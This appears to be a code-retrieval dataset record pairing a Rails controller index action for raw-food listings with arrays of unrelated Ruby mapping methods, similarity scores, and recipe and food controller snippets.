"def map(item)\n mapped = RequestListMappedItem.new(item['uri'], item.class)\n\n # precooking these because they're a little bit expensive\n # and there's a bit of logic involved, so let's just do it once\n repository = repository_for(item)\n (resource, resource_json) = resource_for(item)\n\n map_item(mapped, item, repository, resource, resource_json)\n\n map_extensions(mapped, item, repository, resource, resource_json)\n\n mapped.form_fields = form_fields(mapped)\n\n mapped\n end",
"def map_enclosing_resource(name, options = {}, &block)\n spec = Specification.new(name, options, &block)\n resource_specification_map[spec.segment] = spec\n end",
"def mapper\n \"#{entity}Mapper\".constantize.new(@root_repo)\n end",
"def mapper &mapper_block\n @mapper_block = mapper_block.to_proc\n self.instance_eval do\n def process *args, &block\n instance_exec(*args, &@mapper_block)\n end\n end\n self\n end",
"def mappers(*args, &block)\n boot.mappers(*args, &block)\n end",
"def resource_map\n return @resource_map unless @resource_map.nil?\n _pos = @_io.pos\n @_io.seek(header.ofs_resource_map)\n @_raw_resource_map = @_io.read_bytes(header.len_resource_map)\n _io__raw_resource_map = Kaitai::Struct::Stream.new(@_raw_resource_map)\n @resource_map = ResourceMap.new(_io__raw_resource_map, self, @_root)\n @_io.seek(_pos)\n @resource_map\n end",
"def mapper\n @mapper ||= WebCrmMapper.new\n end",
"def resource_map\n return @resource_map if @resource_map\n @resource_map = YAML::load(File.read(yaml_path)) if File.file?(yaml_path)\n @resource_map = {} if @resource_map.nil?\n subdirectories.each do |resource_name|\n resource_name = resource_name_for_path(resource_name)\n begin\n if @resource_map.key?(resource_name)\n @resource_map[resource_name] = @resource_map[resource_name].constantize\n else\n class_name = resource_name.singularize.camelize\n Divinity.system_logger.debug \"[#{content_module_name}] \" +\n \"Dynamically mapping resource hook '#{resource_name}' to class #{class_name}\"\n @resource_map[resource_name] = class_name.constantize\n end\n rescue NameError\n raise Errors::ResourceMapping, \"[#{content_module_name}] \" +\n \"Couldn't map #{resource_name} to #{class_name}; you probably need an entry in resource_map.yml\"\n end\n end\n @resource_map\n end",
"def sass_embedded_generate_source_map(source_map); end",
"def mapper(opts = { })\n opts[:mapping_set] = self\n Mapper.new(opts)\n end",
"def template_map\n \n end",
"def mapping; end",
"def mapping; end",
"def map_name; end",
"def embedded\n { _embedded: embedded_resources }\n end",
"def jiraAPIMapping\n mapping = Hash.new\n mp = @customFieldMap\n for i in 0..mp.size-1 do\n mapping[mp[i]['name']] = mp[i]['id']\n end\n\n return mapping\n end",
"def mapping #:nodoc:\n @mapper.config\n end",
"def mapper\n mappers[to_ast]\n end",
"def set_yammer_field_mapping\n @yammer_field_mapping = YammerFieldMapping.find(params[:id])\n end",
"def polymorphic_mappings; end",
"def map(path, &block)\n raise 'not yet supported'\n @build.map(path, &block)\n end",
"def as_resource\n {\n :primary => @primary.as_resource,\n :other => @other.count > 0 ? @other.map {|t| t.as_resource} : nil\n }\n end",
"def resource_sym\n mapping.singular\n end",
"def asset_map\n raise NotImplementedError\n end",
"def mapping\n {\n type.to_sym => {\n properties: self.type_mapping\n }\n }\n end",
"def map_relations\n self.resource_relations = {}\n model.alchemy_resource_relations.each do |name, options|\n relation_name = name.to_s.gsub(/_id$/, \"\") # ensure that we don't have an id\n association = association_from_relation_name(relation_name)\n foreign_key = association.options[:foreign_key] || \"#{association.name}_id\".to_sym\n collection = options[:collection] || resource_relation_class(association).all\n resource_relations[foreign_key] = options.merge(\n model_association: association,\n name: relation_name,\n collection: collection\n )\n end\n end",
"def map name\n @mapper[name]\n end",
"def typify(api_map); end",
"def register_mapper(klass)\n boot.register_mapper(klass) if boot\n end",
"def map(params)\n if params.is_a? Array\n params.each { |p| map p }\n elsif params.is_a? String or params.is_a? Symbol\n map Yummi::Helpers::load_resource(params, :from => :patterns)\n else\n config params\n end\n end",
"def resourceType\n 'ConceptMap'\n end",
"def resourceType\n 'ConceptMap'\n end",
"def map_with(*names)\n if names.size == 1 && names[0].is_a?(Class)\n with(meta: meta.merge(model: names[0]))\n else\n names.reduce(self) { |a, e| a >> relation.mappers[e] }\n end\n end",
"def asset_map\n return TEMPLATE_MAP\n end",
"def map\n self\n end",
"def associate(mapping)\n Associator.new(mapping, runner).run\n end",
"def map name, &block\n mapped_name, mapped_class = name.first\n mappings[mapped_name] =\n HotCocoa::Mappings::Mapper.map_instances_of mapped_class, mapped_name, &block\n end",
"def map(source, options = {})\n configuration.map(source, options)\n end",
"def configure_data_mapper(app)\n app.config.data_mapper.root = Rails.root\n app.config.data_mapper.raw = app.config.database_configuration\n end",
"def map(attr, options = {})\n @mappings[attr.to_sym] = normalize_mapping(attr, options.dup)\n end",
"def embedding(resource_sym)\n self.class.embedding(resource_sym)\n end",
"def inline_macro name, processor\n processor = resolve_processor_class processor\n @inline_macros[name.to_s] = processor\n end",
"def mapper\n self.class.representer_class\n end",
"def property_to_rest_mapping\n {\n :name => :aclname,\n :interface => :Interface,\n }\n end",
"def merge!(model, map = nil)\r\n if map.nil?\r\n map = Hash.new\r\n else\r\n map = map.dup\r\n end\r\n\r\n f = lambda{|x|\r\n if x.is_a?(Literal)\r\n x\r\n elsif x.uri\r\n create_resource(x.uri)\r\n else\r\n map[x] ||= create_resource\r\n end\r\n }\r\n\r\n model.each_resource{|from|\r\n subject = f[from]\r\n from.each_property{|prop,object|\r\n subject.add_property(prop, f[x])\r\n }\r\n }\r\n\r\n nil\r\n end",
"def map\n self\n end",
"def setup\n logger = debug? ? Logger.new($stderr) : nil\n Resource.configure(api_key: api_key, logger: logger)\n\n @map = Map::Builder.new.build\n end",
"def map_onto(router)\n app_data = self\n app_obj = @app_obj\n\n uri_root = app_data.uri_root\n public_folder_exists = File.exist?(app_obj.public_folder)\n\n if padrino_application?\n app_obj.set :uri_root, uri_root\n app_obj.set :app_name, app_obj.app_name.to_s\n app_obj.set :root, app_data.app_root\n app_obj.set :public_folder, Padrino.root('public', uri_root) unless public_folder_exists\n app_obj.set :static, public_folder_exists\n app_obj.set :cascade, app_data.cascade\n else\n app_obj.cascade = app_data.cascade\n app_obj.uri_root = uri_root\n app_obj.public_folder = Padrino.root('public', uri_root) unless public_folder_exists\n end\n app_obj.setup_application! # Initializes the app here with above settings.\n router.map(:to => app_obj, :path => uri_root, :host => app_data.app_host)\n end",
"def map(&block)\n @routes.map(&block)\n end",
"def mappings\n {\n 'propertyid' => 'property_id',\n 'prop_id' => 'vebra_ref',\n 'propid' => 'vebra_ref',\n 'firmid' => 'firm_id',\n 'branchid' => 'branch_id',\n 'lastchanged' => 'last_changed',\n 'solddate' => 'sold_on',\n 'leaseend' => 'lease_ends_on',\n 'soldprice' => 'sold_price',\n 'groundrent' => 'ground_rent',\n 'userfield1' => 'user_field_1', \n 'userfield2' => 'user_field_2' ,\n 'updated' => 'updated_at',\n 'FirmID' => 'firm_id',\n 'BranchID' => 'branch_id',\n 'web_status' => 'status',\n 'available' => 'available_on',\n 'uploaded' => 'uploaded_on',\n 'price' => 'price_attributes'\n }\n end",
"def map\n\n end",
"def routes_map; end",
"def _mapper(offer)\n mapped_keys = {\n 'link-id' => 'id', \n 'description' => 'description', \n 'link-name' => 'title', \n 'destination' => 'url', \n 'promotion-end-date'=> 'expires_at',\n 'advertiser-id' => 'merchant_id'\n }\n\n result = {}\n mapped_keys.each do |k,el|\n result[el] = offer[k]\n end\n result\nend",
"def resources\n instance_variable_get(\"@#{mapping.plural}\")\n end",
"def roadie_options\n super.combine(after_transformation: method(:inline_mandrill))\n end",
"def define_mapping\n @mapping[:index] = [\"-i\", \"--index\"]\n @mapping[:http_request] = [\"--request\"]\n @mapping[:source] = [\"--source\"]\n @mapping[:http_status] = [\"--status\"]\n @mapping[:timestamp] = [\"-t\", \"--timestamp\"]\n end",
"def define_json_schema(&block)\n mapping = Mapping.new\n\n mapping.instance_eval(&block)\n\n @index_schema = create_schema(mapping.mapping)\n end",
"def mapper #:nodoc:\n @mapper.mapper_type\n end",
"def define(name, *identity_params, overwrite_resource: true, **params, &recipe_block)\n resource name do\n identity_params.each do |name|\n property name, identity: true\n end\n params.each do |name, value|\n property name, default: value\n end\n recipe(&recipe_block)\n end\n end",
"def embedded\n {\n _embedded: {\n @name => decorated_collection\n }\n }\n end",
"def map\n @person = Person.find(params[:id])\n map_q(@person, params)\n end",
"def define_mapping\n @mapping[:aggregate] = [\"-a\", \"--aggregate\"]\n @mapping[:date] = [\"-d\", \"--date\"]\n @mapping[:default] = [\"--default\"]\n @mapping[:json] = [\"-j\", \"--json\"]\n @mapping[:locale] = [\"-l\", \"--locale\"]\n @mapping[:offset] = [\"-o\", \"--offset\"]\n @mapping[:period] = [\"-p\", \"--period\"]\n @mapping[:save] = [\"-s\", \"--save\"]\n end",
"def map\n mappings = {}\n\n mappings = mappings\n .merge(self.system_information)\n .merge(self.json_fields)\n .merge(self.record_fields)\n .merge(self.user_defined_fields)\n\n mappings\n end",
"def get_mapping\n request :get, \"_mapping\"\n end",
"def get_mapping\n request :get, \"_mapping\"\n end",
"def map\n end",
"def yaml_path\n File.join(base_path, \"resource_map.yml\")\n end",
"def map_resource(file)\n file_handle = File.open(File.expand_path(file), 'r')\n file_handle.readlines.each do |line|\n if line =~ /#\\s@resource/\n resource_name = line.split(%r{@resource })[1].strip\n @resource = ChefObject.register(RESOURCE, resource_name, :resource)\n @resource.providers.push(self) unless @resource.providers.include?(self)\n break\n end\n end\n end",
"def set_item_mapping\n @item_mapping = ItemMapping.find(params[:id])\n end",
"def to_map_json\n to_json(\n :only => [:id, :name, :label],\n :include => {\n :stores => {\n :only => [:longitude, :latitude, :address_line_1, :address_line_2, :city, :state, :zip],\n :methods => [:formatted_phone_number]\n },\n :offers => {\n :only => [:id, :message, :featured, :value_proposition],\n :methods => [:category_names, :expired]\n }\n }\n )\n end",
"def define_attributes(params = nil)\n (params || @action.params).each do |name, param|\n case param[:type]\n when 'Resource'\n @resource_instances[name] = find_association(param, @params[name])\n\n # id reader\n ensure_method(:\"#{name}_id\") do\n @params[name] && @params[name][ param[:value_id].to_sym ]\n end\n\n # id writer\n ensure_method(:\"#{name}_id=\") do |id|\n @params[name] ||= {}\n @params[name][ param[:value_id].to_sym ] = id\n\n @resource_instances[name] = find_association(\n param,\n {\n param[:value_id] => id,\n :_meta => {\n resolved: false,\n # TODO: this will not work for nested resources, as they have\n # multiple IDs\n path_params: [id],\n },\n }\n )\n end\n\n # value reader\n ensure_method(name) do\n @resource_instances[name] && @resource_instances[name].resolve\n end\n\n # value writer\n ensure_method(:\"#{name}=\") do |obj|\n @params[name] ||= {}\n @params[name][ param[:value_id].to_sym ] = obj.method(param[:value_id]).call\n @params[name][ param[:value_label].to_sym ] = obj.method(param[:value_label]).call\n\n @resource_instances[name] = obj\n end\n\n else\n # reader\n ensure_method(name) { @params[name] }\n\n # writer\n ensure_method(:\"#{name}=\") { |new_val| @params[name] = new_val }\n end\n end\n end",
"def map(path, &block)\n @map ||= {}\n @map[path] = block\n end",
"def map(path, &block)\n @map ||= {}\n @map[path] = block\n end",
"def map_type\n return \"generic-map\"\n end",
"def mapping(hash)\n hash.each do |name, path|\n map name, path\n end\n end",
"def map(*args, &block)\n mappings = args.extract_options\n options = mappings.extract_with_defaults!(DEFAULT_MAP_OPTIONS)\n\n args.each do |arg|\n if arg.is_a?(Symbol)\n @source.add_extraction(nil, arg, options[:use_context], &block)\n else\n @source.add_extraction(anonymous_path, nil, options[:use_context], &block)\n end\n end\n\n mappings.each do |attribute, path|\n @source.add_extraction(path, attribute, options[:use_context], &block)\n end\n\n @source\n end",
"def mapping_rules(metric = nil)\n manager_instance(MappingRuleManager, metric: metric)\n end",
"def create_global_mapping\n yield @request_builder, @response_builder, @scenario_builder\n end",
"def schema_mappings(**pairs)\n mappings = pairs.collect do |method, property|\n [method, property]\n end\n define_method(:mappings) do\n super() | mappings\n end\n end",
"def to_mapping\n\n\t\tis_protected_field?\n\n\t\tmapping = nil\n\n\t\t######################### BASIC MAPPING ############################\n\t\tmapping = {\n\t\t\tself.name.to_sym => {\n\t\t\t\t:properties => {\n\t\t \t:content_text => {\n\t\t\t\t\t\t:type => 'text', \n\t\t\t\t\t\t:analyzer => \"standard\",\n\t\t\t\t\t\t:search_analyzer => \"whitespace_analyzer\",\n\t\t\t\t\t\t:copy_to => []\n\t\t\t\t\t},\n\t\t\t\t\t:title_text => {\n\t\t\t\t\t\t:type => 'keyword', \n\t\t\t\t\t\t:fields => {\n\t\t\t\t\t :raw => { \n\t\t\t\t\t \t:type => 'text', \n\t\t\t\t\t\t\t\t:analyzer => \"standard\",\n\t\t\t\t\t\t\t\t:search_analyzer => \"whitespace_analyzer\"\n\t\t\t\t\t }\n\t\t\t\t\t },\n\t\t\t\t\t\t:copy_to => []\n\t\t\t\t\t},\n\t\t\t\t\t:textbook_name => {\n\t\t\t\t\t\t:type => 'keyword', \n\t\t\t\t\t\t:fields => {\n\t\t\t\t\t :raw => { \n\t\t\t\t\t \t:type => 'text', \n\t\t\t\t\t\t\t\t:analyzer => \"standard\",\n\t\t\t\t\t\t\t\t:search_analyzer => \"whitespace_analyzer\"\n\t\t\t\t\t }\n\t\t\t\t\t },\n\t\t\t\t\t\t:copy_to => []\n\t\t\t\t\t}\n\t \t}\n \t}\n\t\t}\n\n\t\t#either you cannot have a field name workup in the components\n\t\t## or whatever. \n\t\t## should raise an error called workup\n\t\t#puts \"mapping becomes first --------------:\"\n\t\t#puts \"commong field mapping ----\"\n\t\t#puts COMMON_FIELD_MAPPING\n\t\t#puts JSON.pretty_generate(mapping) \n\n\t\t######################## MERGE SEARCHABLE AT ROOT DOC ##############\n\t\tmapping[self.name.to_sym][:properties].merge!({\n\t\t\t:searchable => {\n\t\t\t\t:type => \"text\"\n\t\t\t},\n\t\t\t:workup_text => {\n\t\t\t\t:type => \"text\"\n\t\t\t},\n\t\t\t:workup => {\n\t\t\t\t:type => \"keyword\"\n\t\t\t}\n\t\t}) if self.name == \"_doc\"\n\n\t\t#puts \"mapping becomes:\"\n\t\t#puts JSON.pretty_generate(mapping)\n\n\t\t######################## COPY FIELD TO SEARCHABLE IF SEARCHABLE #####\n\t\tunless self.searchable.blank?\n\t\t\t#puts \"this is the mapping\"\n\t\t\t#puts mapping[self.name.to_sym][:properties][:content_text]\n\t\t\tmapping[self.name.to_sym][:properties][:content_text][:copy_to] << \"searchable\"\n\t\tend\n\n\t\t###################### IF CONTAINS_TESTS IS TRUE #####################\n\t\t\t\n\t\tunless self.contains_tests.blank?\n\t\t\t#puts \"name is:#{self.name}, contains tests is: #{self.contains_tests}\"\n\t\t\tif self.contains_tests == true\n\t\t\t\tmapping[self.name.to_sym][:properties][:content_text][:copy_to] << \"workup_text\"\n\t\t\tend\n\t\tend\n\n\t\t####################### SET FIELD TYPE AS NESTED UNLESS ITS ROOT DOC## \n\t\tunless self.name == \"_doc\"\n\t\t\tmapping[self.name.to_sym].merge!(:type => \"nested\") \n\t\tend\n\n\n\t\t###################### CALL PUT MAPPING ON ALL COMPONENTS ############\n\t\tself.components.each do |component|\n\t\t\tmapping[self.name.to_sym][:properties].merge!(component.to_mapping)\n\t\tend\n\n\t\tmapping\n\n\tend",
"def mapping\n {key => name}\n end",
"def remap(aliases)\n new(relation, attributes.remap(aliases))\n end",
"def write_rmap rmap\n\nend",
"def add_to_routes m\n file_to_update = 'config/routes.rb'\n line_to_add = \"map.resources :casein_#{controller_file_name}\"\n insert_sentinel = 'CaseinAddRoutes::mapper map'\n gsub_add_once m, file_to_update, \" \" + line_to_add, insert_sentinel\n logger.route line_to_add\n end",
"def routes_block\n identifier = resource.singular ? 'resource' : 'resources'\n name = resource.name.to_sym\n namespace = resource.namespace.to_sym\n resource_call = -> { send(identifier, name) }\n\n lambda do\n if namespace.present?\n send(:namespace, namespace) do\n instance_exec(&resource_call)\n end\n else\n instance_exec(&resource_call)\n end\n end\n end"
] |
[
"0.6798828",
"0.6326486",
"0.6311076",
"0.6039028",
"0.5744177",
"0.5744177",
"0.5724731",
"0.5688071",
"0.55396974",
"0.55255574",
"0.5437613",
"0.5374058",
"0.53535026",
"0.53463423",
"0.5342611",
"0.5337548",
"0.5323412",
"0.5312719",
"0.5302005",
"0.52952915",
"0.52569455",
"0.52365375",
"0.5205693",
"0.52013534",
"0.5191807",
"0.5164101",
"0.5157292",
"0.5157292",
"0.51440483",
"0.5141924",
"0.51361024",
"0.51349676",
"0.51271176",
"0.512023",
"0.5117372",
"0.50832766",
"0.50637585",
"0.5062769",
"0.5050359",
"0.50321925",
"0.5030206",
"0.4999452",
"0.49722502",
"0.4959992",
"0.4927628",
"0.49017715",
"0.49017715",
"0.48902038",
"0.48848018",
"0.48667225",
"0.48624122",
"0.48469487",
"0.48334754",
"0.48323998",
"0.48316586",
"0.48291942",
"0.48244947",
"0.4819034",
"0.47952104",
"0.47948527",
"0.4790951",
"0.47755012",
"0.4762491",
"0.4761592",
"0.47540522",
"0.47484124",
"0.47462416",
"0.4735153",
"0.47301713",
"0.4728123",
"0.47140938",
"0.47121724",
"0.47109804",
"0.4707168",
"0.47044656",
"0.47019294",
"0.46952823",
"0.469505",
"0.469303",
"0.469303",
"0.46850634",
"0.4682179",
"0.4678712",
"0.46756127",
"0.4670782",
"0.46685913",
"0.4665133",
"0.4665133",
"0.4661275",
"0.46612334",
"0.4658206",
"0.4652088",
"0.46502554",
"0.46493757",
"0.46481472",
"0.4642426",
"0.464069",
"0.4636096",
"0.4622476",
"0.46157676"
] |
0.51111454
|
35
|
GET /raw_foods GET /raw_foods.json
|
def index
if params[:ordering_method].present?
@ordering_method_id = OrderingMethod.find_by(name: params[:ordering_method]).id
@raw_foods = RawFood.joins(:booking_methods).where(booking_methods: {ordering_method_id: @ordering_method_id})
@search_raw_foods = RawFood.ransack(params[:q])
elsif params[:delivery_location].present?
@delivery_location_id = DeliveryLocation.find_by(name: params[:delivery_location]).id
@raw_foods = RawFood.joins(:shipping_locations).where(shipping_locations: {delivery_location_id: @delivery_location_id})
@search_raw_foods = RawFood.ransack(params[:q])
elsif params[:online_retail_service_type].present?
@online_retail_service_type_id = OnlineRetailServiceType.find_by(name: params[:online_retail_service_type]).id
@raw_foods = RawFood.joins(:online_retail_work_types).where(online_retail_work_types: {online_retail_service_type_id: @online_retail_service_type_id})
@search_raw_foods = RawFood.ransack(params[:q])
elsif params[:online_retail_service_type].present?
@raw_food_menu_item_id = RawFoodMenuItem.find_by(name: params[:raw_food_menu_item]).id
@raw_foods = RawFood.joins(:raw_food_dish_items).where(raw_food_dish_items: {raw_food_menu_item_id: @raw_food_menu_item_id})
@search_raw_foods = RawFood.ransack(params[:q])
else
@search_raw_foods = RawFood.ransack(params[:q])
@raw_foods = @search_raw_foods.result.order("created_at DESC").where(draft: false)
end
@search_places = Place.ransack(params[:q])
@places = @search_places.result.order("created_at DESC").where(draft: false)
@search_homies = Homy.ransack(params[:q])
@homies = @search_homies.result.order("created_at DESC").where(draft: false)
@search_caterers = Caterer.ransack(params[:q])
@caterers = @search_caterers.result.order("created_at DESC").where(draft: false)
@search_food_deliveries = FoodDelivery.ransack(params[:q])
@food_deliveries = @search_food_deliveries.result.order("created_at DESC").where(draft: false)
@search_suppliers = Supplier.ransack(params[:q])
@suppliers = @search_suppliers.result.order("created_at DESC").where(draft: false)
@search_online_retails = OnlineRetail.ransack(params[:q])
@online_retails = @search_online_retails.result.order("created_at DESC").where(draft: false)
@search_bakers = Baker.ransack(params[:q])
@bakers = @search_bakers.result.order("created_at DESC").where(draft: false)
@discounts = Discount.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end",
"def index\n @recipes_foods = RecipesFood.all\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def index\n json_response(current_restaurant.restaurant_food_items)\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end",
"def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end",
"def index\n @foods = Food.all\n end",
"def show\n @data = @recipe.read(params[:id])\n render json: @data\n end",
"def index\n recipes = current_user.recipes\n render json: { recipes: recipes}.to_json, status: :ok\n end",
"def index\n @fast_foods = FastFood.all\n end",
"def index\n @items = Item.all\n\n render :json => @items, :include =>[{:location =>{:except=>[:id, :created_at, :updated_at]}}, {:food =>{:except =>[:id, :created_at, :updated_at]}}], :except => [:created_at, :updated_at, :food_id, :location_id]\n end",
"def index\n @recipes = (!params[:recipe].blank?)? Recipe.where(\"id in (\" + params[:recipe] + \")\") : Recipe.all\n @recipes_json = Recipe.where(\"title ilike ?\", \"%#{params[:q]}%\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: custom_json_for(@recipes_json)}\n end\n end",
"def list\n \n recipes = Recipe.all\n render :json => recipes.to_json\n\n end",
"def show\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_recipe }\n end\n end",
"def index\n\t\t@recipes = Recipe.where(user_id: session[:user_id])\n\t\tif @recipes\n\t\t\trender json: @recipes.to_json(:include => [:inventories])\n\t\telse\n\t\t\tflash[:error] = \"You haven't saved any recipes yet! Search now :)\"\n\t\t\trender status: 400, nothing: true\n\t\tend\n\tend",
"def index\n recipe_items = current_user.recipes.includes(recipe_items: :ingredient).find(params[:recipe_id]).recipe_items\n render json: { recipe_items: recipe_items}.to_json(include: :ingredient), status: :ok\n end",
"def show\n json_response(@food_item)\n end",
"def show\n @ingredient = Ingredient.find_by_url_slug(params[:id])\n @ingredient = Ingredient.find(params[:id]) if @ingredient.nil?\n @recipes = @ingredient.recipes.order('created_at DESC')\n logger.debug @recipes.inspect\n respond_to do |format|\n format.html {render :layout => 'wall'}\n format.json { render json: @ingredient }\n end\n end",
"def raw\n raise(ActionController::RoutingError, 'Not Found') unless blacklight_config.raw_endpoint.enabled\n\n @document = search_service.fetch(params[:id])\n render json: @document\n end",
"def index\n @fridge_foods = FridgeFood.find_all_by_user_id(session[:user_id])\n\n logger.debug @fridge_food\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml # { render :xml => @fridge_foods }\n end\n end",
"def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"def index\n @raws = Raw.all\n end",
"def show\n render json: @recipe\n end",
"def index\n render json: Recipe.all\n end",
"def show\n\n recipe = Recipe.find(params[:id])\n render :json => recipe.to_json\n\n end",
"def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def index\n @type_foods = TypeFood.all\n end",
"def show\n\t\t@recipe = Recipe.find(params[:id])\n\t\tif @recipe \n\t\t\trender json: @recipe.to_json(:include => [:inventories])\n\t\telse\n\t\t\trender status: 400, nothing: true\n\t\tend\n\tend",
"def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end",
"def index\n @animal_foods = AnimalFood.all\n end",
"def show\n @recipe = Recipe.find(params[:id])\n @nutrition_info = NutritionInfo.where( \"recipe_id = ?\", @recipe.id ).first\n @inventory_items = []\n @recipe.inventory_items.each do |inventory_item|\n @inventory_items << inventory_item\n end\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end",
"def favorite_foods\n get(\"/user/#{@user_id}/foods/log/favorite.json\")\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json { render json: @recipe }\n end\n end",
"def index\n @food_type_id = @foodTypes.first\n\n if params['type']\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: params['type']['type_id']).paginate(page: params[:page])\n else\n @foods = Food.includes(:type).includes(:nutritional_information).where( type_id: @food_type_id).paginate(page: params[:page])\n end\n\n respond_with @foods\n end",
"def find_food(query)\n get(\"/foods/search.json?query=#{URI.escape(query)}\")\n end",
"def show\n recipe = Recipe.find(params[:id])\n # recipes = Recipe.find_by(params[:id])\n # render json: recipe\n render json: recipe\n end",
"def index\n per_page = params[:per_page]&.to_i || DEFAULT_PER_PAGE\n page = params[:page]&.to_i || DEFAULT_PAGE\n query = params[:query] || \"\"\n\n queries = query.split(\",\").map { |q| \"%#{q.downcase.strip}%\" }\n recipe_ids = []\n \n if queries.present?\n queries.each do |q|\n tmp_recipe_ids = Ingredient.where('UNACCENT(LOWER(name)) ILIKE UNACCENT(?)', q)\n .pluck(:recipe_id)\n .uniq\n\n excluded_ids = []\n excluded_ids = recipe_ids - tmp_recipe_ids | tmp_recipe_ids - recipe_ids unless recipe_ids.empty?\n \n recipe_ids = (recipe_ids + tmp_recipe_ids) - excluded_ids\n end\n end\n \n recipes = Recipe.where(id: recipe_ids).order('rate DESC NULLS LAST').order(id: :asc)\n .page(page)\n .per(per_page)\n \n render json: {\n meta: {\n total_recipes: recipes.total_count,\n total_pages: recipes.total_pages,\n per_page: per_page,\n query: query,\n page: page\n }, \n recipes: recipes.map { |recipe| ::RecipeJson.new(recipe: recipe).to_h }\n }\n end",
"def foods_units\n get('/foods/units.json')\n end",
"def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end",
"def index\n @saved_foods = SavedFood.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @saved_foods }\n end\n end",
"def request_raw_pantheons_data\n return unless authenticated?\n\n response = RestClient.get(\n \"https://godvillegame.com/fbh/feed?a=#{@pantheons_guid}\",\n cookies: @cookies, content_type: :json, accept: :json\n )\n JSON.parse(response)\n end",
"def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end",
"def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end",
"def show\n @recipe_all = RecipeAll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe_all }\n end\n end",
"def index\n @user_foods = UserFood.all\n end",
"def ingredients_by_recipe\n recipe = Recipe.find(params[:id])\n render json: recipe.ingredients\n end",
"def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end",
"def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end",
"def show\n @fooditem = Fooditem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @fooditem }\n end\n end",
"def list_ingredients\n rid = params[:id]\n items = Aws.get_ingredients_from_db(rid)\n render :json => items\n end",
"def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end",
"def index\n @food_items = FoodItem.all\n end",
"def raw(*titles)\n postprocess @resource.get(\n params: DEFAULT_PARAMS.merge(titles: titles.join('|'))\n )\n end",
"def index\n @shots = Shot.all\n\n render json: @shots\n end",
"def ingredient_data\n respond_to do |format|\n format.json { render json: helpers.get_ingredient(params[:ingredient_type], params[:ingredient_id]) }\n end\n end",
"def show\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_food }\n end\n end",
"def recipebook\n @levels = Level.all\n\n respond_to do |format|\n format.html # recipebook.html.erb\n format.json { render json: @levels }\n end\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def index \n recipes = Recipe.all\n #render will return the object back in json format so that it can be used by the frontend\n render json: recipes, except: [:created_at, :updated_at]\n end",
